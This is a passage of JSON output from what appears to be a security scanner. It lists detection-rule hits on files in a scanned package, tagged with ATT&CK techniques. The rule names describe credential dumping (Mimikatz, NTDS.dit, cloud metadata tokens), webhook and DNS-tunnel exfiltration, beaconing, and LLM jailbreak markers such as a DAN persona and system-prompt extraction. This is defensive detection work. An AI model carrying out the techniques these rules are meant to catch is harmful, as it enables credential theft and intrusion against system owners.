3, "desc": "Defines an HTTP Authorization header mapping", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/communications/ip/endpoint::http-port-80", "conf": 0.6, "crit": 3, "desc": "HTTP service port number", "from": [ { "file": 68 } ] }, { "id": "objectives/evasion/security-bypass/llm/persona::llm-dan-persona-payload", "conf": 0.94, "crit": 3, "desc": "DAN unrestricted persona payload", "from": [ { "file": 189 } ] }, { "id": "objectives/anti-static/obfuscation/payload/bytecode::marshal-word", "conf": 1.0, "crit": 3, "desc": "marshal module", "from": [ { "file": 14 } ] }, { "id": "objectives/supply-chain/recon-exfil/install-hook::urlencode-recon-field-names", "atk": "T1195.002", "conf": 0.9, "crit": 3, "desc": "Host profile field pair", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/http/services/aws::iam-credentials-path-reference", "conf": 0.7, "crit": 3, "desc": "AWS IAM credentials metadata path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/proxy/socks::tor-socks-proxy-port", "atk": "T1090", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Local Tor SOCKS proxy port reference", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/icmp/ping::python-ping-process-call", "conf": 0.92, "crit": 3, "desc": "Python subprocess call runs ping" }, { "id": "objectives/evasion/security-bypass/llm/prompt::llm-system-prompt-query", "conf": 0.93, "crit": 3, "desc": "System prompt disclosure request", "from": [ { "file": 127 } ] }, { "id": "micro-behaviors/os/security/selinux::selinux-config-path", "conf": 0.85, "crit": 3, "desc": "References SELinux policy configuration path" }, { "id": "micro-behaviors/communications/http/url/query::interpolated-identifier-query-value", "conf": 0.9, "crit": 3, "desc": "URL query interpolates an identifier value", "from": [ { "file": 31 } ] }, { "id": "micro-behaviors/os/container/runtime::docker-socket-path-scripts-binaries", "conf": 0.9, "crit": 3, "desc": "Docker daemon Unix socket path reference", "from": [ { "file": 120 } ] }, { "id": "well-known/tool/offensive/mimikatz::mimikatz-command-script", "conf": 0.97, "crit": 3, "desc": "Mimikatz credential dump command", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/data/decode/symbol-base64::b64decode-call", "conf": 0.9, "crit": 3, "desc": "Decodes Base64 data with Python", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::python-dns-cli-resolver", "atk": "T1016", "conf": 0.9, "crit": 3, "desc": "Python invokes a DNS CLI resolver" }, { "id": "objectives/evasion/security-bypass/llm/override::llm-safety-bypass", "conf": 0.9, "crit": 4, "desc": "LLM safety bypass prompt", "from": [ { "file": 189 } ], "uses": [ 846 ] }, { "id": "micro-behaviors/communications/ssh/connect::port-22-ref--rx-1", "conf": 0.72, "crit": 1, "desc": "Regex component marker", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/data/llm/agent::agent-identity-chatgpt", "conf": 0.8, "crit": 1, "desc": "ChatGPT identity reference", "from": [ { "file": 6 } ] }, { "id": "objectives/credential-access/dump/system::ntds-database-file-target", "atk": "T1003.003", "mbc": "B0005", "conf": 0.96, "crit": 4, "desc": "References the NTDS.dit domain database", "from": [ { "file": 45 } ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-tunnel-phrase", "atk": "T1071.004", "mbc": "C0001", "conf": 0.9, "crit": 3, "desc": "DNS tunnel terminology", "from": [ { "file": 12 } ] }, { "id": "objectives/execution/automation/autonomous::llm-lateral-movement", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM lateral movement stage", "from": [ { "file": 11 } ] }, { "id": "micro-behaviors/data/source/import::alias-subprocess", "conf": 0.6, "crit": 3, "desc": "subprocess imported under an alias", "from": [ { "file": 163 } ] }, { "id": "micro-behaviors/communications/http/webdav::propfind-method", "conf": 0.95, "crit": 3, "desc": "References the WebDAV PROPFIND method", "from": [ { "file": 53 } ] }, { "id": "objectives/impact/dos/tcp::ddos-offensive-markers", "conf": 1.0, "crit": 4, "desc": "Offensive markers for DDoS", "from": [ { "file": 93 } ], "uses": [ 1116 ] }, { "id": "micro-behaviors/communications/ip/literal::http-ip-url", "conf": 0.95, "crit": 3, "desc": "Contains an external-IP HTTP URL", "from": [ { "off": 1053, "file": 31, "line": 36 }, { "off": 9015, "file": 72, "line": 299 } ], "uses": [ 604 ] }, { "id": "micro-behaviors/communications/http/request/client::python-request-data-argument", "conf": 0.84, "crit": 3, "desc": "Python Request call passes a body argument" }, { "id": "micro-behaviors/communications/http/services/cloud::gcp-metadata-flavor-header", "conf": 0.9, "crit": 3, "desc": "Sends the GCP Metadata-Flavor request header", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/ui/window/dom-access::dom-text-content-read", "conf": 0.82, "crit": 3, "desc": "Reads DOM text content" }, { "id": "objectives/exfiltration/dns/ast::struct-pack-network-order", "conf": 0.85, "crit": 3, "desc": "struct.pack with network byte order", "from": [ { "file": 60 } ] }, { "id": "objectives/credential-access/cloud/container::python-serviceaccount-token-path-reference", "atk": "T1552.001", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Python references service-account token path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/fs/path/log/system::log-var", "conf": 0.66, "crit": 3, "desc": "References messages, secure, or auth log", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/webhook::webhook-route-declaration", "conf": 0.86, "crit": 3, "desc": "Webhook route declaration", "from": [ { "file": 104 } ] }, { "id": "well-known/tool/detection/llm-scanner::scan-input-fn", "conf": 0.88, "crit": 3, "desc": "scan_input / scan_prompt function definition", "from": [ { "file": 71 } ] }, { "id": "metadata/package/testing/presence/harness::python-php-test-basename-suffix", "conf": 0.95, "crit": 2, "desc": "Python/PHP test filename suffix", "from": [ { "file": 158 } ] }, { "id": "micro-behaviors/communications/http/request/ssdp::m-search", "atk": "T1046", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "SSDP M-SEARCH discovery request", "from": [ { "file": 75 } ] }, { "id": "micro-behaviors/fs/config/preferences::defaults-read-command", "conf": 0.95, "crit": 3, "desc": "macOS defaults preference read command", "from": [ { "file": 125 } ] }, { "id": "objectives/command-and-control/dropper/delivery/http::http-ip-port-url", "atk": "T1105", "mbc": "B0024", "conf": 0.85, "crit": 3, "desc": "HTTP URL with IP:port", "from": [ { "file": 72 } ] }, { "id": "objectives/impact/degrade/edr/targeting::sophos-name", "atk": "T1562.001", "conf": 0.5, "crit": 3, "desc": "Standalone Sophos product-name token", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/http/server/request::python-route-post-method", "conf": 0.9, "crit": 3, "desc": "Python route declares POST method" }, { "id": "third_party/SigBase/EXPL/Log4J/CVE/2021/44228/Dec21/Soft", "conf": 0.9, "crit": 5, "desc": "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228" }, { "id": "micro-behaviors/communications/socket/framing::big-endian-length-prefix-json", "atk": "T1573", "conf": 0.9, "crit": 3, "desc": "Big-endian length-prefixed JSON", "from": [ { "file": 25 } ], "uses": [ 219, 630, 1150 ] }, { "id": "micro-behaviors/data/archive/staging::archive-output-variable", "conf": 0.9, "crit": 3, "desc": "Archive staging variable name", "from": [ { "file": 106 } ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::gethostbyname-ex", "conf": 0.85, "crit": 3, "desc": "socket.gethostbyname_ex() DNS lookup", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/fs/delete/file/library::py-remove", "conf": 0.8, "crit": 2, "desc": "File deletion (os.remove/os.unlink)", "from": [ { "file": 17 } ] }, { "id": "well-known/lib/format/pyyaml::pyyaml-package-name", "conf": 0.98, "crit": 2, "desc": "PyYAML package name" }, { "id": "micro-behaviors/process/create/shell/lang::powershell-keyword", "conf": 0.7, "crit": 3, "desc": "Invokes PowerShell with command-line options", "from": [ { "file": 125 } ] }, { "id": "objectives/privilege-escalation/exploit/keywords::img-onerror-handler", "atk": "T1059.007", "mbc": "E1090", "conf": 0.9, "crit": 3, "desc": "Image onerror event handler" }, { "id": "micro-behaviors/fs/path/application/executable::chrome-process-name", "conf": 0.5, "crit": 3, "desc": "Standalone Chrome-family application-name token", "from": [ { "file": 125 } ], "uses": [ 961 ] }, { "id": "objectives/exfiltration/messaging/webhook::discord-webhook-pattern", "atk": "T1041", "mbc": "B0030", "conf": 0.85, "crit": 3, "desc": "Discord webhook wording or configuration", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/fs/write/file/full::python-pathlib-write-bytes", "mbc": "C0016", "conf": 0.85, "crit": 3, "desc": "Writes bytes with pathlib.Path.write_bytes()", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-upper", "conf": 0.6, "crit": 2, "desc": "MINING string (uppercase)", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::pgp-private-key-header", "conf": 0.99, "crit": 3, "desc": "ASCII-armored OpenPGP private-key header", "from": [ { "file": 203 } ] }, { "id": "micro-behaviors/communications/http/header/cache::python-response-etag-header-read", "atk": "T1071.001", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "Python response object reads ETag header", "from": [ { "file": 123 } ] }, { "id": "objectives/credential-access/api-harvest/token::credential-regex-map-binding", "atk": "T1528", "conf": 0.9, "crit": 3, "desc": "Credential regex map binding", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/os/container/namespace::prestart-str", "conf": 1.0, "crit": 3, "desc": "prestart hook", "from": [ { "file": 124 } ] }, { "id": "objectives/lateral-movement/brute-force/password::common-account-name-pair", "atk": "T1110.001", "conf": 0.86, "crit": 3, "desc": "Common account paired with account name", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/os/service/identity::unix-authentication-daemon-name", "conf": 0.92, "crit": 3, "desc": "References Unix authentication daemon", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/os/env/secret-name::refresh-token-env-name", "conf": 0.94, "crit": 3, "desc": "OAuth refresh-token environment variable", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/fs/chmod/modify::python-chmod-call-with-exec-bit", "atk": "T1222", "mbc": "E1222", "conf": 0.95, "crit": 3, "desc": "Python chmod call sets the executable bit", "from": [ { "file": 196 } ] }, { "id": "micro-behaviors/data/llm/agent::agent-identity-set", "conf": 0.9, "crit": 3, "desc": "References multiple AI assistant products", "from": [ { "file": 21 } ], "uses": [ 710, 816, 1014, 1124 ] }, { "id": "micro-behaviors/os/console/io::dense-stderr-suppression", "conf": 0.85, "crit": 3, "desc": "Dense stderr suppression pattern" }, { "id": "micro-behaviors/os/package-manager/config::npmrc-user-config-path", "conf": 0.9, "crit": 3, "desc": "npm user configuration file path", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/client/library::aiohttp-session-request", "conf": 0.85, "crit": 3, "desc": "Sends HTTP through an aiohttp session", "from": [ { "off": 2244, "file": 10, "line": 56 }, { "off": 129555, "file": 61, "line": 2978 }, { "off": 58421, "file": 63, "line": 1559 }, { "off": 3868, "file": 90, "line": 126 } ], "uses": [ 416, 868 ] }, { "id": "micro-behaviors/communications/http/login::http-login-password-field", "atk": "T1071.001", "conf": 0.88, "crit": 1, "desc": "HTTP login password field", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/serialize/unsafe::pickle-loads", "mbc": "C0038", "conf": 0.9, "crit": 3, "desc": "Calls pickle.loads" }, { "id": "objectives/impact/destroy/keywords::target-project", "conf": 0.86, "crit": 3, "desc": "Delete action targets project or workspace", "from": [ { "file": 106 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-from-import", "conf": 0.8, "crit": 3, "desc": "Imports urllib request functions", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/fs/path/config/groups::etc-group", "atk": "T1069", "conf": 0.8, "crit": 3, "desc": "/etc/group group database", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/crypto/asymmetric/key::pem-public-key-header", "conf": 0.9, "crit": 3, "desc": "References PEM public-key header", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference", "mbc": "C0029", "conf": 0.9, "crit": 3, "desc": "References an HMAC API", "from": [ { "file": 104 } ] }, { "id": "well-known/tool/detection/threat-intel::threat-intel-indicator-word", "conf": 0.85, "crit": 3, "desc": "Threat-indicator term", "from": [ { "file": 99 } ] }, { "id": "micro-behaviors/fs/path/private-key::private-pem-suffix", "atk": "T1552.001", "conf": 0.8, "crit": 1, "desc": "Private PEM file suffix", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/socket/listen::python-named-socket-listen-method", "mbc": "C0001", "conf": 0.82, "crit": 3, "desc": "Python named socket listen call", "from": [ { "file": 25 } ] }, { "id": "micro-behaviors/data/manipulation::injection-screening-step", "conf": 0.9, "crit": 3, "desc": "Input screened for prompt injection", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/data/serialize/envelope::json-sequence-field", "conf": 0.9, "crit": 3, "desc": "JSON object sequence field fragment", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::bearer-header-from-token", "atk": "T1071.001", "mbc": "C0002", "conf": 0.93, "crit": 3, "desc": "Bearer header from token", "from": [ { "file": 89 } ] }, { "id": "micro-behaviors/communications/socket/family::socket-af-inet-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "AF_INET constant name", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/communications/http/download/write::python-download-write", "atk": "T1105", "mbc": "C0016", "conf": 0.9, "crit": 3, "desc": "Downloads content and writes file", "from": [ { "file": 185 } ], "uses": [ 650, 950 ] }, { "id": "micro-behaviors/os/container/runtime::privileged-pod-spec", "conf": 0.86, "crit": 3, "desc": "Kubernetes privileged container spec", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/data/source/syntax/keyword::token-parameter-declaration", "conf": 0.8, "crit": 3, "desc": "Python token parameter declaration", "from": [ { "file": 108 } ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-request-target", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "HTTP client requests a cleartext URL", "from": [ { "file": 162 } ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "from": [ { "file": 1 } ] }, { "id": "objectives/exfiltration/dns/tunnel::iodine-name", "atk": "T1071.004", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Iodine DNS tunnel tool reference", "from": [ { "file": 121 } ] }, { "id": "objectives/lateral-movement/exploit/scanner::cgi-bin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "CGI endpoint path", "from": [ { "file": 91 } ] }, { "id": "objectives/impact/ransom/file-operations::open-paren", "atk": "T1486", "conf": 0.3, "crit": 3, "desc": "open( function for file write", "from": [ { "file": 185 } ] }, { "id": "objectives/evasion/security-bypass/waf::akamai-name-reference", "conf": 0.9, "crit": 1, "desc": "References Akamai", "from": [ { "file": 12 } ] }, { "id": "metadata/package/scripts/entrypoint::wheel-console-entrypoint", "conf": 0.9, "crit": 3, "desc": "Package declares a console-script entry point", "from": [ { "off": 0, "file": 219, "line": 1 } ], "uses": [ 372, 1193 ] }, { "id": "micro-behaviors/communications/http/services/google::google-api-key-literal", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "Embedded Google API key literal", "from": [ { "file": 203 } ] }, { "id": "well-known/tool/detection/llm-scanner::llm-scanner-context", "conf": 0.96, "crit": 3, "desc": "File is part of an LLM security scanner / firewall", "from": [ { "off": 6385, "file": 71, "line": 161 } ], "uses": [ 467, 725 ] }, { "id": "micro-behaviors/data/db/schema/relational::account-handle-field", "conf": 0.8, "crit": 3, "desc": "Account handle field name", "from": [ { "file": 58 } ] }, { "id": "metadata/file/catalog/service::service-name-twilio", "conf": 0.82, "crit": 3, "desc": "Twilio service name", "from": [ { "file": 41 } ] }, { "id": "objectives/command-and-control/channel/covert::port-443-constant-assignment", "atk": "T1573,T1043", "mbc": "C0022.002", "conf": 0.7, "crit": 3, "desc": "Assigns 443 to a port variable", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/http/request/verb::urllib-request-post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.92, "crit": 3, "desc": "Python urllib POST request construction", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/fs/chmod/modify::python-path-chmod", "atk": "T1222", "mbc": "E1222", "conf": 0.85, "crit": 3, "desc": "Python calls chmod to change permissions", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/os/registry/keys::uac-policy-registry-path-python", "conf": 0.95, "crit": 3, "desc": "Python Windows UAC policy path", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--azure", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Azure)", "from": [ { "file": 7 } ] }, { "id": "metadata/package/testing/presence/harness::test-or-declaration-file", "conf": 0.85, "crit": 1, "desc": "File is a test or type-declaration source file", "from": [ { "file": 158 } ], "uses": [ 152, 380 ] }, { "id": "micro-behaviors/fs/write/file/handle::py-open-write-inline", "conf": 0.8, "crit": 3, "desc": "Inline open().write() file creation" }, { "id": "micro-behaviors/process/interpreter/python::inspect-getsource-call", "atk": "T1059.006", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Reads a live object's source with inspect", "from": [ { "file": 202 } ] }, { "id": "micro-behaviors/data/source/property/read::result-dot-member-read", "conf": 0.9, "crit": 3, "desc": "Reads result through dot or arrow access", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/communications/http/url/encoded::long-base64-like-path-segment", "conf": 0.9, "crit": 3, "desc": "Path has long Base64-like segment", "from": [ { "file": 70 } ] }, { "id": "objectives/command-and-control/beacon/network/periodic::python-beacon-interval-name", "atk": "T1071.001", "mbc": "B0030", "conf": 0.82, "crit": 3, "desc": "Python beacon interval variable", "from": [ { "file": 138 } ] }, { "id": "objectives/discovery/network/enumeration::certificate-search-query", "conf": 0.88, "crit": 3, "desc": "crt.sh JSON certificate query", "from": [ { "file": 91 } ] }, { "id": "objectives/command-and-control/dropper/delivery/fetch-eval::json-message-field", "atk": "T1105", "mbc": "E1105", "conf": 0.9, "crit": 3, "desc": "Extracts payload from JSON message field", "from": [ { "file": 14 } ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-password-field", "atk": "T1195.002", "conf": 0.96, "crit": 3, "desc": "Password field marker for proxy use", "from": [ { "file": 2 } ] }, { "id": "objectives/credential-access/cloud/container::python-kubectl-structured-output", "atk": "T1552.001", "mbc": "E1552", "conf": 0.94, "crit": 3, "desc": "kubectl requests structured resource output", "from": [ { "file": 23 } ] }, { "id": "micro-behaviors/data/string/sanitize::bidi-override-codepoints", "conf": 0.93, "crit": 3, "desc": "References Unicode bidi override codepoints", "from": [ { "file": 139 } ] }, { "id": "micro-behaviors/communications/ip/literal::external-ipv4-url-script", "conf": 0.9, "crit": 3, "desc": "Script embeds external IPv4 URL", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/process/create/exec::python-os-system-string-command", "atk": "T1059", "conf": 0.9, "crit": 3, "desc": "os.system receives a literal command string" }, { "id": "micro-behaviors/crypto/certificate/usage::pem-begin", "conf": 0.7, "crit": 2, "desc": "References PEM certificate header", "from": [ { "file": 203 } ] }, { "id": "micro-behaviors/crypto/library/blockchain/exchange::crypto-exchange-doc-context", "conf": 0.9, "crit": 2, "desc": "Crypto exchange documentation", "from": [ { "file": 12 } ] }, { "id": "metadata/file/string/credential::uppercase-password-identifier", "conf": 0.45, "crit": 3, "desc": "Uppercase identifier contains PASSWORD or PASS", "from": [ { "file": 2 } ] }, { "id": "metadata/file/string/cloud::aws-user-data-endpoint", "conf": 0.9, "crit": 3, "desc": "AWS EC2 user-data endpoint", "from": [ { "file": 45 } ] }, { "id": "objectives/discovery/network/scan/ics::scada-keyword", "atk": "T1046", "conf": 0.75, "crit": 3, "desc": "SCADA system keyword reference", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/communications/http/response::source-http-200-status", "atk": "T1190", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Compares HTTP response status property to 200", "from": [ { "file": 104 } ] }, { "id": "objectives/evasion/security-bypass/llm/carrier::llm-system-block-close-tag", "conf": 0.8, "crit": 3, "desc": "Closing system-prompt block tag in data content", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/os/random/prng/stdlib::random-integer-call", "conf": 0.88, "crit": 3, "desc": "Python random integer generation call", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/fs/path/temp::tmp-path-content", "conf": 1.0, "crit": 2, "desc": "Contains a /tmp/ or /var/tmp/ path", "from": [ { "file": 77 } ] }, { "id": "metadata/file/catalog/service::service-name-sendgrid", "conf": 0.82, "crit": 3, "desc": "SendGrid service name", "from": [ { "file": 88 } ] }, { "id": "well-known/app/ai/usage/observability::observability-dashboard-context", "conf": 0.94, "crit": 3, "desc": "Observability dashboard wording", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/communications/http/server/framework::http-server-import", "atk": "T1071.001", "mbc": "C0002", "conf": 0.75, "crit": 3, "desc": "Imports from Python's http.server module", "from": [ { "file": 59 } ] }, { "id": "micro-behaviors/data/llm/wire-marker::ai-agent-term-reference", "conf": 0.8, "crit": 3, "desc": "References the phrase \"AI agent\"", "from": [ { "file": 21 } ] }, { "id": "micro-behaviors/process/create/thread::python-thread-daemon-assignment", "conf": 0.85, "crit": 3, "desc": "Sets Python thread daemon flag after creation", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/fs/path/private-key::java-keystore-extension-reference", "atk": "T1552.001", "conf": 0.8, "crit": 1, "desc": "References a Java keystore filename extension", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/communications/http/services/aws::ec2-imds-iam-credentials-endpoint", "conf": 0.9, "crit": 3, "desc": "EC2 instance-metadata IAM credentials endpoint", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/crypto/kdf/algorithm::pbkdf2", "conf": 0.75, "crit": 3, "desc": "PBKDF2 key-derivation reference", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/http/request/action-resource::http-authorization-denial-status", "conf": 0.96, "crit": 3, "desc": "References HTTP 403 denial status", "from": [ { "file": 91 } ] }, { "id": "objectives/supply-chain/hidden-payload/runtime::python-opaque-sidecar-extension-a", "atk": "T1195.002", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Python references opaque sidecar extension", "from": [ { "file": 205 } ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::shellcode-ref", "atk": "T1068", "conf": 0.85, "crit": 3, "desc": "Shellcode term in source or binary strings", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/benchmark/throughput::throughput-rate-figure-text", "conf": 0.7, "crit": 1, "desc": "Throughput rate figure in text", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-sensitive-env-read", "conf": 0.9, "crit": 3, "desc": "Python reads credential-named environment variable", "from": [ { "file": 19 } ], "uses": [ 189, 262, 397, 1130, 1254, 1275 ] }, { "id": "metadata/file/string/identity::android-data-app-path", "conf": 0.9, "crit": 3, "desc": "Android application data path", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/create/shell/script-host::cmd-exe-c-command", "conf": 0.85, "crit": 3, "desc": "Runs commands through cmd.exe /c", "from": [ { "file": 132 } ] }, { "id": "objectives/credential-access/shell/history::shell-history", "atk": "T1552.003", "conf": 0.8, "crit": 3, "desc": "Bash shell history file access", "from": [ { "file": 53 } ] }, { "id": "objectives/command-and-control/infrastructure/operator::session-id-column", "conf": 0.6, "crit": 3, "desc": "Session/agent ID field label", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-word", "conf": 0.75, "crit": 3, "desc": "References Python urllib HTTP client", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/process/create/agent::ai-agent-unattended-execution-value", "atk": "T1059", "mbc": "B0022", "conf": 0.9, "crit": 3, "desc": "Unattended agent execution mode value", "from": [ { "file": 2 } ] }, { "id": "objectives/command-and-control/channel/deaddrop/github::systemd-service-enable-command", "atk": "T1102,T1059", "conf": 0.9, "crit": 3, "desc": "Enables a systemd service", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/url/encoded::slash-to-percent-encoded-rewrite-replacement-first", "conf": 0.94, "crit": 3, "desc": "Replacement-first call percent-encodes slashes", "from": [ { "file": 104 } ] }, { "id": "well-known/tool/detection/redaction::redacted-replacement-marker", "conf": 0.9, "crit": 3, "desc": "REDACTED replacement marker", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/ip/direct::external-ipv4-http-endpoint", "atk": "T1071.001", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "HTTP endpoint uses external IPv4", "from": [ { "file": 31 }, { "file": 72 } ], "uses": [ 717 ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-config-artifact", "conf": 0.9, "crit": 3, "desc": "SSH config artifact path", "from": [ { "file": 129 } ] }, { "id": "objectives/credential-access/browser/chromium::amazon-cookie-domain", "atk": "T1555.003", "conf": 1.0, "crit": 3, "desc": "Amazon commerce cookie domain", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/communications/http/device-code::success-status-field", "conf": 0.93, "crit": 3, "desc": "Success status field", "from": [ { "file": 104 } ] }, { "id": "objectives/lateral-movement/brute-force/ssh::ssh-honeypot-banner-kippo", "atk": "T1110.001,T1497.001", "mbc": "B0013", "conf": 0.92, "crit": 3, "desc": "Kippo SSH honeypot banner token", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/time/sleep/interval::numeric-delay-call", "conf": 0.88, "crit": 3, "desc": "Delay call with multi-digit argument", "from": [ { "file": 25 } ] }, { "id": "objectives/impact/degrade/edr/targeting::kaspersky-name", "atk": "T1562.001", "conf": 0.5, "crit": 3, "desc": "Standalone Kaspersky product-name token", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/fs/proc/mounts::proc-mounts-path", "conf": 0.66, "crit": 3, "desc": "References /proc/mounts path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/decode/custom::python-whitespace-only-line-selection", "atk": "T1140", "conf": 0.92, "crit": 3, "desc": "Python selects lines containing only whitespace", "from": [ { "file": 33 } ] }, { "id": "micro-behaviors/communications/http/response::response-success-field", "conf": 0.86, "crit": 3, "desc": "JSON response success field", "from": [ { "file": 28 } ] }, { "id": "micro-behaviors/process/create/subprocess::subprocess-detached-session", "atk": "T1059.006", "mbc": "C0017", "conf": 0.9, "crit": 3, "desc": "Python starts a detached subprocess session", "from": [ { "file": 150 } ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-safety-bypass--rx-36", "conf": 0.9, "crit": 3, "desc": "Matches 'ethical) (filter guardrail)'", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/data/llm/agent::sensitive-data-collection-phrase", "conf": 0.9, "crit": 3, "desc": "Sensitive-data collection phrase", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/process/create/shell/agent-runtime::python-run-command-tool-name", "conf": 0.9, "crit": 3, "desc": "Python defines a run_command function", "from": [ { "file": 83 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object", "conf": 0.82, "crit": 3, "desc": "urllib Request object creation", "from": [ { "file": 7 } ], "uses": [ 584, 636 ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::vcs-registry-secret-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "VCS and registry secret names", "from": [ { "file": 87 } ] }, { "id": "micro-behaviors/data/db/sql::sql-exec-system-procedure", "conf": 0.92, "crit": 3, "desc": "SQL EXEC system-procedure marker", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-https-url-or-proxy-text", "conf": 0.9, "crit": 3, "desc": "Loopback HTTPS URL or proxy token", "from": [ { "file": 45 } ] }, { "id": "objectives/execution/automation/autonomous::llm-credential-theft", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM credential theft stage", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/fs/path/location::home-hidden-dotdir-ref", "conf": 0.6, "crit": 3, "desc": "Home-relative hidden directory path literal", "from": [ { "file": 2 } ] }, { "id": "objectives/exfiltration/dns/tunnel::dnscat-name", "atk": "T1071.004", "mbc": "C0001", "conf": 0.7, "crit": 4, "desc": "dnscat2 tool name reference", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/os/event/kernel/select::python-select-call", "conf": 0.9, "crit": 3, "desc": "Python select I/O multiplexing call", "from": [ { "file": 25 } ] }, { "id": "micro-behaviors/communications/socket/create::socket-socket-call", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "socket.socket() call", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/communications/http/server/listener::tomcat-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "References the Apache Tomcat web server", "from": [ { "off": 3109, "file": 70, "line": 83 }, { "off": 1476, "file": 91, "line": 45 }, { "off": 13276, "file": 143, "line": 291 }, { "off": 8112, "file": 207, "line": 222 } ], "uses": [ 1115 ] }, { "id": "micro-behaviors/communications/ip/parse::ipv4-cidr-slash-24-or-wider", "conf": 0.9, "crit": 3, "desc": "IPv4 CIDR prefix /24 or wider", "from": [ { "file": 2 } ] }, { "id": 